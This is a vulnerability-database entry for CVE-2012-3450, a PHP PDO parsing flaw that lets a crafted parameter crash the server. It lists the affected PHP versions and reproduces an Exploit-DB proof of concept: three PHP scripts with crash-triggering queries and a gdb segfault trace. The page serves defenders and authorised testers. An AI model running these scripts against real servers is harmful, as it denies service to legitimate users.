CVE-2012-3450

low
Published 2012-08-06 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
3.6

Description

pdo_sql_parser.re in the PDO extension in PHP before 5.3.14 and 5.4.x before 5.4.4 does not properly determine the end of the query string during parsing of prepared statements, which allows remote attackers to cause a denial of service (out-of-bounds read and application crash) via a crafted parameter value.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-37566 dos php verified text ยท 2 KB
0x721427D8 ยท 2012-08-02

PHP 5.4.3 - PDO Memory Access Violation Denial of Service

text exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/54777/info

PHP is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause the web server to crash, denying service to legitimate users.

PHP 5.4.3 is vulnerable; other versions may also be affected. 

<?php
 try {
 $db = new PDO('mysql:host=localhost;dbname=aws', "root", "");
 //tokens: 
 // SELECT;*;from;'user';/*
 //$sql = "SELECT * from 'user'/*";
 $stmt = $db->prepare("SELECT * from 'user'".mysql_real_escape_string($_GET['query']));
 $stmt->execute();
 //crash
 $stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
 $stmt->fetch(PDO::FETCH_BOUND);
 print_r( $type);
 }
 catch (Exception $e)
 {
 echo "Failed: " . $e->getMessage();
 }
 ?>
 -----
 <?php
try {
$db = new PDO('mysql:host=localhost;dbname=aws', "root", "");

//tokens:
// SELECT;*;from;'user';/* 
$sql = ":/*";

$stmt = $db->prepare($sql);
$stmt->execute();     // crashes php worker in pdo_parse_params()

$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
print_r( $type);

} catch (Exception $e) {
  echo "Failed: " . $e->getMessage();
}

?>
---

<pre>
<?php
echo "hmm beginning\n";
try {
$db = new PDO('mysql:host=localhost;dbname=aws', "root", "");
echo "lets get it on\n";
//tokens:
// SELECT;*;from;'user';/* 
$sql = "SELECT * from user :/**";
echo $sql;
$stmt = $db->prepare($sql);
echo "prepared :)\n";
print_r($stmt);
$stmt->execute();     // crashes php worker in pdo_parse_params()
print_r($stmt);
echo "executed :(\n";
$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
echo "--data-\n";
print_r( $type);
echo "--data--\n";

} catch (Exception $e) {
        echo "EXCEPTION";
  echo "Failed: " . $e->getMessage();
}
echo "hmmm end\n";
?>
</pre>

Actual result:
--------------
root@bt:/opt/lampp# gdb ./bin/php 
(gdb) run poc_pdo_linux_short_1.php
Starting program: /opt/lampp/bin/php /opt/lampp/poc_pdo_linux_short_1.php
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x08228a81 in ?? ()
(gdb) bt
#0  0x08228a81 in ?? ()
#1  0x082280eb in pdo_parse_params ()
#2  0x08223891 in ?? ()
#3  0x084b2aad in ?? ()
#4  0x084b1f87 in execute ()
#5  0x08490ed2 in zend_execute_scripts ()
#6  0x0843f13c in php_execute_script ()
#7  0x08506b46 in main ()

Application impact

VendorProductVersionsFixed
php phpphp{"endIncluding":"5.3.13"}
php phpphp5.3.0
php phpphp5.3.1
php phpphp5.3.2
php phpphp5.3.3
php phpphp5.3.4
php phpphp5.3.5
php phpphp5.3.6
php phpphp5.3.7
php phpphp5.3.8
php phpphp5.3.9
php phpphp5.3.10
php phpphp5.3.11
php phpphp5.3.12
php phpphp5.4.0
php phpphp5.4.1
php phpphp5.4.2
php phpphp5.4.3

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.